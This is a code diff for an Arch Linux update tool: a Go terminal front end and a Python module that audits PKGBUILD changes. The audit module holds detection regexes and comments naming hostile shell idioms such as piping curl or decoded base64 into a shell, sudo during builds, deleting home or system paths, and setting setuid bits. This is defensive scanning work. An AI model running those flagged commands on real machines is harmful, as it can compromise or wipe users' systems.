+ left := strings.Repeat(" ", cols.Indent) + marker +
+ Title.Render(strings.ToUpper(n.Title))
+ if n.Meta != "" {
+ return spread(left, Muted.Render(n.Meta), cols.Width)
+ }
+ return left
+
+ case KindPackage:
+ var b strings.Builder
+ b.WriteString(strings.Repeat(" ", cols.Indent))
+ // A decided package shows its state in the tag column instead of its
+ // upgrade tag. Changing the row's *shape* is what makes a decision
+ // visible at a glance; dimming alone was too easy to miss.
+ tag, tagRole := n.Tag, n.TagRole
+ switch {
+ case n.Ignored:
+ tag, tagRole = "∅", "muted"
+ case n.Soloed:
+ // picked: it will be applied, and when solo is on that is the
+ // exception worth marking rather than the rule
+ tag, tagRole = "◆", "ok"
+ case n.Skipped && n.SoloActive:
+ // held only because something else was picked, which reads
+ // differently from being skipped on purpose
+ tag, tagRole = "·", "muted"
+ case n.Skipped:
+ tag, tagRole = "⊘", "warn"
+ }
+ b.WriteString(role(tagRole).Render(tag))
+ b.WriteString(" ")
+ nameEnd := cols.verCol() - 6
+ nameStyle := Text
+ if n.Ignored || (n.Skipped && !n.Soloed) {
+ nameStyle = Muted
+ }
+ b.WriteString(nameStyle.Render(ansi.Truncate(n.Name,
+ max(8, nameEnd-ansi.StringWidth(b.String())), "…")))
+
+ left := b.String()
+ switch {
+ case n.Old != "" || n.New != "":
+ // the outgoing version is right-aligned so the arrows line up across
+ // rows of differing version lengths; that alignment is most of the look
+ if n.Old != "" {
+ left = spread(left, Outgoing.Render(n.Old), cols.verCol()-5)
+ }
+ if n.ShowArrow {
+ left += Muted.Render(" → ")
+ }
+ left += Incoming.Render(n.New)
+ case n.Installed != "":
+ // a VCS package has one version, not a pair
+ left = spread(left, Muted.Render(n.Installed), cols.verCol())
+ }
+ note, noteRole := n.Note, n.NoteRole
+ // The decision outranks any other annotation, and the precedence here
+ // must match the tag glyph above: an ignore is the stronger, permanent
+ // decision, so it wins in both places.
+ switch {
+ case n.Ignored:
+ note, noteRole = "ignored", "muted"
+ case n.Skipped:
+ note, noteRole = "skipped", "warn"
+ }
+ if note != "" && cols.noteCol() > ansi.StringWidth(left)+4 {
+ text := ansi.Truncate(note, cols.noteCol()-ansi.StringWidth(left)-2, "…")
+ left = spread(left, role(noteRole).Render(text), cols.noteCol())
+ }
+ if n.Right != "" {
+ left = spread(left, Muted.Render(n.Right), cols.Width)
+ }
+ return left
+
+ case KindFinding:
+ var b strings.Builder
+ b.WriteString(strings.Repeat(" ", cols.Indent+4))
+ b.WriteString(" ")
+ b.WriteString(role(n.GlyphRole).Render(n.Glyph))
+ b.WriteString(" ")
+ b.WriteString(Muted.Render(ansi.Truncate(n.Text,
+ max(10, cols.verCol()-ansi.StringWidth(b.String())-2), "…")))
+ if n.Evidence != "" {
+ // The evidence sits next to its own text rather than spread to the
+ // far edge, which on a wide screen puts it a hand's width away from
+ // the finding it belongs to. It is dropped rather than squeezed
+ // when there is no room.
+ const gap = 2
+ room := cols.Right() - ansi.StringWidth(b.String()) - gap
+ if room >= 16 {
+ b.WriteString(strings.Repeat(" ", gap))
+ b.WriteString(Desc.Render(ansi.Truncate(n.Evidence, room, "…")))
+ }
+ }
+ return b.String()
+
+ case KindAdvisory:
+ // severity, id, the affected packages and how many CVEs: enough to
+ // decide whether to open it, which is what the row is for
+ var b strings.Builder
+ b.WriteString(strings.Repeat(" ", cols.Indent))
+ b.WriteString(role(n.TagRole).Render(fmt.Sprintf("%-13s", n.Tag)))
+ b.WriteString(role(n.TagRole).Render(fmt.Sprintf("%-11s", n.Name)))
+ left := b.String()
+ left += Text.Render(ansi.Truncate(n.Title,
+ max(8, cols.Right()-ansi.StringWidth(left)-12), "…"))
+ if n.Note != "" {
+ left = spread(left, Muted.Render(n.Note), cols.Right())
+ }
+ return left
+
+ case KindCheck:
+ var b strings.Builder
+ b.WriteString(strings.Repeat(" ", cols.Indent))
+ b.WriteString(role(n.GlyphRole).Render(n.Glyph))
+ b.WriteString(" ")
+ b.WriteString(Text.Render(fmt.Sprintf("%-12s", n.Text)))
+ b.WriteString(Muted.Render(ansi.Truncate(n.Evidence,
+ max(4, cols.Right()-ansi.StringWidth(b.String())), "…")))
+ return b.String()
+
+ case KindStep:
+ var b strings.Builder
+ b.WriteString(strings.Repeat(" ", cols.Indent))
+ b.WriteString(Muted.Render(n.Index))
+ b.WriteString(" ")
+ b.WriteString(Accent.Render(fmt.Sprintf("%-*s", n.Width, n.Command)))
+ b.WriteString(Muted.Render(ansi.Truncate(n.Evidence,
+ max(4, cols.Right()-ansi.StringWidth(b.String())), "…")))
+ return b.String()
+ }
+ return ""
+}
+
+// escRe matches a colour sequence immediately followed by a reset: a segment
+// that ended up with no text in it. Truncating a styled label can cut the text
+// and leave the escapes behind, which renders as nothing but still moves the
+// cursor in some terminals.
+var escRe = regexp.MustCompile(`\x1b\[[0-9;]*m\x1b\[0m`)
+
+func tidy(s string) string {
+ for {
+ next := escRe.ReplaceAllString(s, "")
+ if next == s {
+ return s
+ }
+ s = next
+ }
+}
diff --git a/tui/main.go b/tui/main.go
@@ -0,0 +1,106 @@
+// Command updater-tui is a Bubble Tea front end over the updater Python backend.
+//
+// The split is deliberate: Go owns presentation, Python owns every fact. Nothing
+// here reads a database, compares a version, or decides whether a package is
+// safe to build. It renders what the backend says and reports what the user
+// chooses, which keeps exactly one implementation of each piece of logic -- the
+// one that is already verified against pacman.
+package main
+
+import (
+ "errors"
+ "flag"
+ "fmt"
+ "os"
+ "strconv"
+ "strings"
+
+ tea "github.com/charmbracelet/bubbletea"
+
+ "updater-tui/internal/config"
+ "updater-tui/internal/plan"
+ "updater-tui/internal/ui"
+)
+
+func main() {
+ var (
+ python = flag.String("python", "", "interpreter to run the backend (default $UPDATER_PYTHON or python3)")
+ home = flag.String("repo", "", "path to the updater tree, for an uninstalled checkout")
+ offline = flag.Bool("offline", false, "skip everything that needs the network")
+ noScan = flag.Bool("fast", false, "skip the slow optional scans (arch-audit)")
+ version = flag.Bool("version", false, "print the version and exit")
+ print = flag.String("print", "", "render one frame at WxH and exit, e.g. 120x36")
+ show = flag.String("show", "", "with --print, open an overlay: help, confirm, detail, advisory, security, plan, warnings or loading")
+ pkg = flag.String("pkg", "", "with --show detail, which package to open")
+ )
+ flag.Parse()
+
+ if *version {
+ fmt.Println("updater-tui 0.1.0")
+ return
+ }
+
+ backend := plan.DefaultBackend()
+ if *python != "" {
+ backend.Python = *python
+ }
+ backend = backend.Discover(*home)
+ if *offline {
+ backend.Args = append(backend.Args, "--offline")
+ }
+ if *noScan {
+ backend.Args = append(backend.Args, "--no-security")
+ }
+
+ model := ui.New(backend, config.Load())
+ model.SetHint(backend.Hint())
+
+ // A TUI cannot be inspected without a terminal, which makes it awkward to
+ // test and impossible to screenshot. Rendering one frame to stdout is the
+ // escape hatch: same code path, no alt screen.
+ if *print != "" {
+ w, h, err := parseSize(*print)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "updater-tui: %v\n", err)
+ os.Exit(2)
+ }
+ frame, err := model.RenderOnce(w, h, *show, *pkg)
+ if errors.Is(err, ui.ErrNothingToShow) {
+ // said, not failed: there is no overlay to draw, which is an
+ // answer rather than a fault
+ fmt.Fprintf(os.Stderr, "updater-tui: %v\n", err)
+ return
+ }
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "updater-tui: %v\n%s\n", err, backend.Hint())
+ os.Exit(1)
+ }
+ fmt.Println(frame)
+ return
+ }
+
+ opts := []tea.ProgramOption{tea.WithAltScreen()}
+ if pager := os.Getenv("UPDATER_PAGER"); pager != "" {
+ opts = append(opts, tea.WithoutSignalHandler())
+ }
+ if _, err := tea.NewProgram(model, opts...).Run(); err != nil {
+ fmt.Fprintf(os.Stderr, "updater-tui: %v\n", err)
+ os.Exit(1)
+ }
+}
+
+func parseSize(spec string) (int, int, error) {
+ parts := strings.SplitN(strings.ToLower(spec), "x", 2)
+ if len(parts) != 2 {
+ return 0, 0, fmt.Errorf("expected WxH, got %q", spec)
+ }
+ w, err := strconv.Atoi(strings.TrimSpace(parts[0]))
+ if err != nil {
+ return 0, 0, fmt.Errorf("bad width in %q", spec)
+ }
+ h, err := strconv.Atoi(strings.TrimSpace(parts[1]))
+ if err != nil {
+ return 0, 0, fmt.Errorf("bad height in %q", spec)
+ }
+ return w, h, nil
+}
diff --git a/updater/__init__.py b/updater/__init__.py
@@ -0,0 +1,3 @@
+"""A pretty Arch Linux update orchestrator."""
+
+__version__ = "0.1.0"
diff --git a/updater/__main__.py b/updater/__main__.py
@@ -0,0 +1,6 @@
+"""Allow `python -m updater`."""
+
+from .cli import main
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/updater/audit.py b/updater/audit.py
@@ -0,0 +1,1008 @@
+"""Audit what changed in a PKGBUILD.
+
+Two principles, both of which exist to stop this becoming noise the user learns
+to ignore:
+
+1. **Audit the delta, not the absolute state.** A `curl | sh` that has been in a
+ PKGBUILD for five years is not news. One that appeared in this update is.
+ Rules therefore compare old against new wherever they can, and pre-existing
+ patterns are reported at most as information.
+
+2. **Every finding carries its evidence.** No opaque risk score. A finding names
+ the rule, the severity, and the exact spec, URL, or line that triggered it, so
+ the user can judge it themselves.
+
+Nothing here ever executes a PKGBUILD. See srcinfo.py for why.
+"""
+
+from __future__ import annotations
+
+import enum
+import re
+from dataclasses import dataclass, field
+
+from .srcinfo import Pkgbuild, SrcInfo
+
+VCS_SUFFIXES = ("-git", "-cvs", "-svn", "-hg", "-bzr", "-darcs", "-nightly", "-fossil")
+
+
+class Severity(enum.IntEnum):
+ """Ordered, so the report can show the worst finding."""
+
+ INFO = 0 # context, no action implied
+ LOOK = 1 # worth a look before building
+ BLOCK = 2 # do not auto-apply; needs an explicit decision
+
+ @property
+ def glyph(self) -> str:
+ return {Severity.INFO: "·", Severity.LOOK: "!", Severity.BLOCK: "!!"}[self]
+
+
+@dataclass(frozen=True)
+class Finding:
+ rule: str
+ severity: Severity
+ title: str
+ evidence: str = ""
+ where: str = ""
+
+ def render(self) -> str:
+ bits = [f"[{self.severity.glyph}] {self.title}"]
+ if self.evidence:
+ bits.append(f" {self.evidence}")
+ if self.where:
+ bits.append(f" in {self.where}")
+ return "\n".join(bits)
+
+
+@dataclass
+class SetDiff:
+ """Added/removed members of a list-valued field."""
+
+ added: list[str] = field(default_factory=list)
+ removed: list[str] = field(default_factory=list)
+
+ def __bool__(self) -> bool:
+ return bool(self.added or self.removed)
+
+ def summary(self) -> str:
+ if not self:
+ return "unchanged"
+ parts = []
+ if self.added:
+ parts.append(f"+{len(self.added)}")
+ if self.removed:
+ parts.append(f"-{len(self.removed)}")
+ return " ".join(parts)
+
+
+@dataclass
+class SourceMove:
+ """A source file that now comes from somewhere else."""
+
+ filename: str
+ old_url: str
+ new_url: str
+
+ @property
+ def old_domain(self) -> str:
+ return domain_of(self.old_url)
+
+ @property
+ def new_domain(self) -> str:
+ return domain_of(self.new_url)
+
+
+@dataclass
+class SemanticDiff:
+ """What changed, in terms of PKGBUILD fields rather than lines of text."""
+
+ pkgver: tuple[str, str] | None = None
+ pkgrel: tuple[str, str] | None = None
+ epoch: tuple[str, str] | None = None
+ source: SetDiff = field(default_factory=SetDiff)
+ sums: SetDiff = field(default_factory=SetDiff)
+ depends: SetDiff = field(default_factory=SetDiff)
+ makedepends: SetDiff = field(default_factory=SetDiff)
+ optdepends: SetDiff = field(default_factory=SetDiff)
+ provides: SetDiff = field(default_factory=SetDiff)
+ conflicts: SetDiff = field(default_factory=SetDiff)
+ replaces: SetDiff = field(default_factory=SetDiff)
+ validpgpkeys: SetDiff = field(default_factory=SetDiff)
+ sources_moved: list[SourceMove] = field(default_factory=list)
+ funcs_added: list[str] = field(default_factory=list)
+ funcs_removed: list[str] = field(default_factory=list)
+ funcs_changed: list[str] = field(default_factory=list)
+ lines_added: int = 0
+ lines_removed: int = 0
+
+ @property
+ def is_empty(self) -> bool:
+ return not any(
+ [
+ self.pkgver,
+ self.pkgrel,
+ self.epoch,
+ self.source,
+ self.sums,
+ self.depends,
+ self.makedepends,
+ self.optdepends,
+ self.provides,
+ self.conflicts,
+ self.replaces,
+ self.validpgpkeys,
+ self.sources_moved,
+ self.funcs_added,
+ self.funcs_removed,
+ self.funcs_changed,
+ self.lines_added,
+ self.lines_removed,
+ ]
+ )
+
+
+@dataclass
+class Change:
+ """One package's old and new metadata. Anything may be None on first import."""
+
+ package: str
+ old_srcinfo: SrcInfo | None = None
+ new_srcinfo: SrcInfo | None = None
+ old_pkgbuild: Pkgbuild | None = None
+ new_pkgbuild: Pkgbuild | None = None
+ old_maintainer: str | None = None
+ new_maintainer: str | None = None
+ old_url: str = ""
+ new_url: str = ""
+ #: `.install` scriptlet text, keyed by filename, read when the Change was
+ #: assembled. Carried as data because these run as root on install, and
+ #: resolving the filename against the *process* working directory meant they
+ #: were silently never examined.
+ old_install: dict[str, str] = field(default_factory=dict)
+ new_install: dict[str, str] = field(default_factory=dict)
+
+ @property
+ def is_vcs(self) -> bool:
+ return any(self.package.endswith(s) for s in VCS_SUFFIXES)
+
+
+class Basis(enum.IntEnum):
+ """What an audit actually had to work with.
+
+ "No findings" and "nothing to examine" look identical in a report and mean
+ completely different things. A package paru has never cloned has no PKGBUILD
+ to check, so every rule returns nothing -- which rendered as a clean bill of
+ health for a package nobody had looked at.
+ """
+
+ #: compared an old revision against the new one
+ COMPARED = 2
+ #: only the new revision was available; pre-existing patterns cannot be told
+ #: apart from newly introduced ones
+ NEW_ONLY = 1
+ #: no PKGBUILD at all: nothing was examined
+ NOTHING = 0
+
+ @property
+ def label(self) -> str:
+ return {
+ Basis.COMPARED: "compared with the previous revision",
+ Basis.NEW_ONLY: "no baseline: only the current revision was read",
+ Basis.NOTHING: "not audited: no PKGBUILD available",
+ }[self]
+
+
+@dataclass
+class Report:
+ package: str
+ diff: SemanticDiff
+ findings: list[Finding] = field(default_factory=list)
+ #: what could be examined, so a caller can never present an empty report as
+ #: a clean result
+ basis: Basis = field(default_factory=lambda: Basis.NOTHING)
+
+ @property
+ def audited(self) -> bool:
+ return self.basis is not Basis.NOTHING
+
+ @property
+ def verdict(self) -> Severity:
+ return max((f.severity for f in self.findings), default=Severity.INFO)
+
+ @property
+ def loud(self) -> list[Finding]:
+ return [f for f in self.findings if f.severity >= Severity.LOOK]
+
+
+# --------------------------------------------------------------------------
+# helpers
+# --------------------------------------------------------------------------
+
+_URL_RE = re.compile(r"^[a-z][a-z0-9+.-]*://", re.IGNORECASE)
+#: a source may carry an optional `filename::` prefix before the URL
+_SOURCE_PREFIX_RE = re.compile(r"^[^:/]+::")
+#: PKGBUILD VCS schemes: `git+https://...`, `svn+https://...`
+_VCS_SCHEMES = ("git+", "svn+", "hg+", "bzr+", "darcs+", "cvs+")
+
+
+#: a detached signature: its integrity comes from the trusted key, not a hash
+_SIGNATURE_RE = re.compile(r"\.(?:sig|asc|gpg|sign)$", re.IGNORECASE)
+
+
+def is_signature_source(source: str) -> bool:
+ """Whether a source entry is a detached signature.
+
+ `SKIP` is the convention for these: the signature is checked against
+ `validpgpkeys`, so demanding a checksum as well is redundant. Packages that
+ verify with GPG were being reported as though they had left a network
+ download unverified.
+ """
+ if not source:
+ return False
+ name = filename_of(source)
+ return bool(name and _SIGNATURE_RE.search(name))
+
+
+def strip_source_prefix(url: str) -> str:
+ """Drop any `filename::` prefixes, of which there may be more than one."""
+ while True:
+ prefix = _SOURCE_PREFIX_RE.match(url)
+ if not prefix:
+ return url
+ url = url[prefix.end() :]
+
+
+def is_vcs_source(url: str) -> bool:
+ """Whether a source entry pulls a live repository rather than a fixed file.
+
+ This, not the package name, is what makes a SKIP checksum legitimate. A
+ package called `foo-git` whose source is a pinned tarball still needs sums.
+ """
+ return strip_source_prefix(url).startswith(_VCS_SCHEMES)
+
+
+def domain_of(url: str) -> str:
+ """Host of a source entry, or a marker for local sources."""
+ url = strip_source_prefix(url)
+ if not _URL_RE.match(url):
+ return "(local)"
+ rest = url.split("://", 1)[1]
+ return rest.split("/", 1)[0].split("@")[-1]
+
+
+def filename_of(url: str) -> str:
+ """The filename a source will land as, honouring an explicit `::` prefix."""
+ prefix = _SOURCE_PREFIX_RE.match(url)
+ if prefix:
+ return prefix.group(0)[:-2]
+ base = url.split("://", 1)[-1]
+ base = base.split("?", 1)[0].split("#", 1)[0].rstrip("/")
+ return base.rsplit("/", 1)[-1]
+
+
+def _setdiff(old: list[str], new: list[str]) -> SetDiff:
+ o, n = set(old), set(new)
+ return SetDiff(added=sorted(n - o), removed=sorted(o - n))
+
+
+def _pair(old: str | None, new: str | None) -> tuple[str, str] | None:
+ if old is None or new is None or old == new:
+ return None
+ return (old, new)
+
+
+def _lines_changed(old: str, new: str) -> tuple[int, int]:
+ import difflib
+
+ added = removed = 0
+ for line in difflib.unified_diff(old.splitlines(), new.splitlines(), n=0):
+ if line.startswith(("+++", "---")):
+ continue
+ if line.startswith("+"):
+ added += 1
+ elif line.startswith("-"):
+ removed += 1
+ return added, removed
+
+
+# --------------------------------------------------------------------------
+# suspicious patterns
+# --------------------------------------------------------------------------
+
+
+@dataclass(frozen=True)
+class Pattern:
+ rule: str
+ severity: Severity
+ title: str
+ regex: re.Pattern[str]
+ #: restrict the scan to these PKGBUILD functions; None means the whole file
+ funcs: tuple[str, ...] | None = None
+ #: only report when the pattern is newly introduced
+ new_only: bool = True
+ #: an optional veto for a match the regex alone cannot judge, such as text
+ #: that is merely inside a quoted string
+ guard: object = None
+
+
+PATTERNS: tuple[Pattern, ...] = (
+ Pattern(
+ "pipe-to-shell",
+ Severity.BLOCK,
+ "pipes a download straight into a shell",
+ # A shell is reached by more than its bare name: `| /bin/bash`,
+ # `| /usr/bin/env bash`, `| dash`, `| zsh`. Matching only the bare
+ # name meant the most explicit form of the same attack was not a
+ # BLOCK, only a generic "network in build" LOOK.
+ re.compile(
+ r"(?:curl|wget|fetch)\b[^|;\n]*+\|\s*+(?:sudo\s+)?"
+ r"(?:[\w./-]*/)?(?:env\s+)?(?:ba|z|k|da)?sh\b"
+ ),
+ ),
+ Pattern(
+ "decode-to-shell",
+ Severity.BLOCK,
+ "decodes a blob and pipes it into a shell",
+ # One `[^|;\n]*` either side of a literal is cubic: both classes can
+ # match the literal, so every start position backtracks over every
+ # split. An 8 KB line took 4.5s and a 20 KB line over a minute, and
+ # the text is whatever the maintainer wrote. The gap before `-d` is
+ # bounded and the rest are possessive, so each start position does a
+ # fixed amount of work.
+ # Both gaps are bounded. A possessive `*` here still scans to the
+ # end of the file on every attempt, which is what made it quadratic;
+ # 120 characters is far more than a real `base64 -d <file> | sh`.
+ re.compile(
+ r"(?:base64|xxd|openssl\s+enc)\b[^|;\n]{0,30}-d"
+ r"[^|;\n]{0,120}\|[^|;\n]{0,120}sh\b"
+ ),
+ ),
+ Pattern(
+ "sudo-in-pkgbuild",
+ Severity.BLOCK,
+ "invokes sudo during the build",
+ # At a command position and followed by a command, so that the
+ # dependency `depends=('sudo')` is not reported as running sudo.
+ # `sudo -v` is still an invocation, hence the dash.
+ re.compile(r"(?:^|[;&|(`\n]|\s)\s*sudo\s+[a-zA-Z-]"),
+ # and not merely mentioned inside a message: scriptlets routinely
+ # echo "now run sudo whatever" to the user
+ guard=lambda text, match: not inside_quotes(text, match.start()),
+ ),
+ Pattern(
+ "rm-outside-builddir",
+ Severity.BLOCK,
+ "deletes an absolute path or the user's home",
+ # `~` and `$HOME` may be a prefix of the path being deleted, so only
+ # an absolute path is anchored. /tmp is exempt: wiping scratch space
+ # is normal, wiping /etc is not.
+ re.compile(
+ r"""\brm\s+-[a-zA-Z]*[rf][a-zA-Z]*\s+["']?"""
+ r"""(?:/(?!tmp(?:/|\s|$))|\*|~/|\$HOME|\$\{HOME\})"""
+ ),
+ ),
+ Pattern(
+ "write-system-path",
+ Severity.BLOCK,
+ "writes into a system path instead of $pkgdir",
+ # The `>` must not close a quote or a tag, or XML inside a heredoc
+ # (`path">/usr/bin/thing</annotate>`) reads as a redirect.
+ # A redirect, or the far more common `install`/`cp` into a system
+ # path. Two things keep this honest:
+ # - the system path must be the *last* argument, or
+ # `ln -s /opt/X "$pkgdir/etc/Y"` matches on the source it reads
+ # - `$pkgdir/usr` and `$DESTDIR/usr` have no whitespace before the
+ # slash, which is exactly what makes them correct
+ # MULTILINE so `$` means end of line: without it the system path
+ # had to be the last thing in the whole file.
+ re.compile(
+ r"(?<![\x22\x27/>])>>?\s*/(?:etc|usr|boot|var|opt)/"
+ r"|\b(?:install|cp|mv|ln|tee)\b[^\n]*[ \t]"
+ r"/(?:etc|usr|boot|var|opt)/[^\s\x22\x27]*[\x22\x27]?"
+ r"[ \t]*[;&|)}\]]*[ \t]*$",
+ re.MULTILINE,
+ ),
+ ),
+ Pattern(
+ "setuid",
+ Severity.BLOCK,
+ "sets a setuid or setgid bit",
+ # `chmod +s` has no `u`/`g`, and a five-digit octal (`04755`) puts
+ # the setuid digit second, so both spellings were missed.
+ re.compile(r"\bchmod\s+(?:-R\s+)?(?:[ug]?\+s\b|[0-7]?[24][0-7]{3}\b)"),
+ ),
+ Pattern(
+ "network-in-build",
+ Severity.LOOK,
+ "fetches from the network while building",
+ # `[ \t]`, not `\s`: `\s` matches a newline, so a variable
+ # assignment ending in the word (`_tool=curl`) read as a fetch.
+ re.compile(r"\b(?:curl|wget)[ \t]"),
+ # Every function, not the four that usually build. A download in
+ # `pkgver()` or in a helper that `build()` calls is the same act and
+ # was simply not looked at.
+ funcs=("*",),
+ ),
+ Pattern(
+ "git-clone-in-build",
+ Severity.LOOK,
+ "clones a git repository while building",
+ re.compile(r"\bgit\s+clone\b"),
+ funcs=("*",),
+ ),
+ Pattern("eval", Severity.LOOK, "uses eval", re.compile(r"\beval\b")),
+ Pattern(
+ "chmod-777",
+ Severity.LOOK,
+ "sets world-writable permissions",
+ re.compile(r"\bchmod\s+(?:-R\s+)?777\b"),
+ ),
+ Pattern(
+ "skippgpcheck",
+ Severity.LOOK,
+ "disables PGP signature checking",
+ re.compile(r"\b(?:--skippgpcheck|!?skippgpcheck|!?pgpcheck)\b"),
+ ),
+ Pattern(
+ "weak-checksum",
+ Severity.LOOK,
+ "uses a weak checksum algorithm",
+ re.compile(r"\b(?:md5sums|sha1sums)\s*="),
+ ),
+ Pattern(
+ "curl-pipe-no-fail",
+ Severity.INFO,
+ "pipes a download without failing on HTTP errors",
+ # Both quantifiers are bounded and the last is possessive. With an
+ # unbounded lookahead, one long line containing `curl` but no pipe
+ # made every start position scan to the end of the file.
+ re.compile(r"\bcurl\b(?![^\n|]{0,120}(?:-f|--fail))[^\n|]{0,400}+\|"),
+ funcs=("*",),
+ ),
+)
+
+
+#: a PKGBUILD that creates its own functions cannot be attributed per-function
+_DYNAMIC_FUNCS = re.compile(r"\beval\b[^\n]*\(\s*\)", re.IGNORECASE)
+
+
+def functions_generated(pkgbuild) -> bool:
+ """Whether this PKGBUILD builds functions at runtime.
+
+ `eval "package_${pkgbase}() { ... }"` produces function bodies that static
+ parsing cannot attribute to a name. Scoped rules would then find no body and
+ quietly report nothing, which is the worst possible outcome for a security
+ check: it looks like a clean result.
+ """
+ return bool(pkgbuild is not None and _DYNAMIC_FUNCS.search(pkgbuild.raw))
+
+
+#: Patterns are run against at most this much text.
+#:
+#: The input is whatever the maintainer wrote, and a regex that backtracks turns
+#: one long line into a hung review. The largest real PKGBUILD across this
+#: machine's 92 clones is 30 KB (median 1.5 KB), so 64 KB cannot truncate a real
+#: package while bounding the worst case. Truncation is reported, never silent.
+MAX_SCAN = 64 * 1024
+
+
+def inside_quotes(text: str, position: int) -> bool:
+ """Whether `position` falls inside a double- or single-quoted run on its line.
+
+ `echo "run sudo thing"` is a message, not an invocation, and a regex cannot
+ tell the two apart. Counting the quotes earlier on the line can.
+ """
+ start = text.rfind("\n", 0, position) + 1
+ quote = ""
+ i = start
+ while i < position:
+ char = text[i]
+ if char == "\\" and quote != "'":
+ i += 2
+ continue
+ if quote:
+ if char == quote:
+ quote = ""
+ elif char in "'\"":
+ quote = char
+ i += 1
+ return bool(quote)
+
+
+def scan_patterns(change: Change) -> list[Finding]:
+ """Scan the new PKGBUILD, suppressing patterns that were already there."""
+ new = change.new_pkgbuild
+ if new is None:
+ return []
+ old = change.old_pkgbuild
+ findings: list[Finding] = []
+ truncated = len(new.raw) > MAX_SCAN
+ if truncated:
+ findings.append(
+ Finding(
+ "scan-truncated",
+ Severity.INFO,
+ f"the PKGBUILD is larger than {MAX_SCAN // 1024} KiB; only the "
+ "first part was pattern-scanned",
+ )
+ )
+
+ dynamic = functions_generated(new)
+
+ for pat in PATTERNS:
+ scoped_to_raw = False
+ if pat.funcs == ("*",) and not dynamic:
+ scope_names = {fn: body for fn, body in new.funcs.items() if body}
+ elif pat.funcs and not dynamic:
+ scopes = {fn: new.funcs.get(fn, "") for fn in pat.funcs}
+ scope_names = {fn: text for fn, text in scopes.items() if text}
+ else:
+ # Either the rule is file-wide, or the file generates its own
+ # functions and per-function attribution is impossible. Scanning the
+ # whole file is noisy, but reporting nothing is a false negative.
+ scope_names = {"PKGBUILD": new.code}
+ scoped_to_raw = bool(pat.funcs)
+
+ for scope, text in scope_names.items():
+ match = pat.regex.search(text[:MAX_SCAN])
+ if not match:
+ continue
+ if pat.guard is not None and not pat.guard(text, match):
+ continue
+ if pat.new_only and old is not None:
+ old_text = (
+ old.funcs.get(scope, "")
+ if pat.funcs and not scoped_to_raw and not dynamic
+ else old.code
+ )
+ if pat.regex.search(old_text[:MAX_SCAN]):
+ continue # pre-existing; not this update's problem
+ line = _line_of(text, match.start())
+ findings.append(
+ Finding(
+ rule=pat.rule,
+ severity=pat.severity,
+ title=pat.title,
+ evidence=line.strip()[:120],
+ where=scope if pat.funcs else "PKGBUILD",
+ )
+ )
+ return findings
+
+
+def _line_of(text: str, offset: int) -> str:
+ start = text.rfind("\n", 0, offset) + 1
+ end = text.find("\n", offset)
+ return text[start : end if end != -1 else len(text)]
+
+
+# --------------------------------------------------------------------------
+# field-level rules
+# --------------------------------------------------------------------------
+
+
+def scan_sums(change: Change, diff: SemanticDiff) -> list[Finding]:
+ """SKIP is judged per source entry, against that entry's scheme.
+
+ The checksum list is parallel to `source`, so the question is never "is this
+ a -git package" but "is this particular entry a live repository". A tarball
+ source with SKIP is unverified no matter what the package is called.
+
+ Reads `primary_sums`, not `sha256sums`: a package may checksum with b2sums
+ or sha512sums instead, and looking only at sha256sums made those packages
+ appear to declare no checksums at all -- so a SKIP newly introduced on a
+ plain tarball source produced no finding.
+ """
+ new = change.new_srcinfo
+ if new is None:
+ return []
+ sums = new.primary_sums
+ if not sums:
+ return []
+
+ old = change.old_srcinfo
+ old_sums = old.primary_sums if old else []
+ # A package that verifies with GPG and ships a detached signature covers its
+ # sibling metadata through that signature: a repository `Release` file is
+ # signed, and the `Packages` index is hashed inside it. SKIP on those is the
+ # convention, not an unverified download.
+ gpg_verified = bool(new.validpgpkeys) and any(
+ is_signature_source(entry) for entry in new.source
+ )
+ out: list[Finding] = []
+ for index, checksum in enumerate(sums):
+ if checksum.strip().upper() != "SKIP":
+ continue
+ source = new.source[index] if index < len(new.source) else ""
+ if source and is_signature_source(source):
+ out.append(
+ Finding(
+ "sums-skip-signature",
+ Severity.INFO,
+ "SKIP checksum for a detached signature (verified against validpgpkeys)",
+ evidence=source[:120],
+ where=f"source[{index}]",
+ )
+ )
+ continue
+ if source and domain_of(source) == "(local)":
+ # Nothing is downloaded, so there is no supply chain to trust. It
+ # removes integrity checking on a file shipped inside the package,
+ # which is worth knowing and not worth blocking on.
+ out.append(
+ Finding(
+ "sums-skip-local",
+ Severity.INFO,
+ "SKIP checksum for a file shipped in the package",
+ evidence=source[:120],
+ where=f"source[{index}]",
+ )
+ )
+ continue
+ if source and is_vcs_source(source):
+ out.append(
+ Finding(
+ "sums-skip-vcs",
+ Severity.INFO,
+ "SKIP checksum for a live VCS source (expected)",
+ evidence=source[:120],
+ where=f"source[{index}]",
+ )
+ )
+ continue
+
+ was_skip = bool(index < len(old_sums) and old_sums[index].strip().upper() == "SKIP")
+ if was_skip or gpg_verified:
+ severity = Severity.INFO
+ else:
+ severity = Severity.BLOCK
+ out.append(
+ Finding(
+ "sums-skip-existing" if was_skip else "sums-skip-introduced",
+ severity,
+ "SKIP checksum on a source that is not a live repository"
+ + ("" if was_skip else " (newly introduced)"),
+ evidence=source[:120] or f"checksum entry {index}",
+ where=f"source[{index}]" if source else "",
+ )
+ )
+ return out
+
+
+def scan_pgp(change: Change, diff: SemanticDiff) -> list[Finding]:
+ """Removing a trusted key matters only if nothing replaced it.
+
+ A maintainer rotating an upstream signing key removes the old one and adds
+ the new one in the same commit, which is routine. Reporting that as a BLOCK
+ trains the reader to ignore the one that is not routine.
+ """
+ removed = diff.validpgpkeys.removed
+ if not removed:
+ return []
+ if diff.validpgpkeys.added:
+ return [
+ Finding(
+ "pgpkey-rotated",
+ Severity.INFO,
+ "a trusted PGP key was replaced",
+ evidence=", ".join(removed)[:120],
+ where="the new key is in this revision",
+ )
+ ]
+ return [
+ Finding(
+ "pgpkey-removed",
+ Severity.BLOCK,
+ "a trusted PGP key was removed and not replaced",
+ evidence=", ".join(removed)[:120],
+ )
+ ]
+
+
+def scan_deps(change: Change, diff: SemanticDiff) -> list[Finding]:
+ """New AUR trust edges: a new dep means trusting another maintainer."""
+ out: list[Finding] = []
+ if diff.depends.added:
+ out.append(
+ Finding(
+ "new-runtime-dep",
+ Severity.INFO,
+ f"{len(diff.depends.added)} new runtime dependency(ies)",
+ evidence=", ".join(diff.depends.added)[:120],
+ )
+ )
+ if diff.makedepends.added:
+ out.append(
+ Finding(
+ "new-build-dep",
+ Severity.INFO,
+ f"{len(diff.makedepends.added)} new build dependency(ies)",
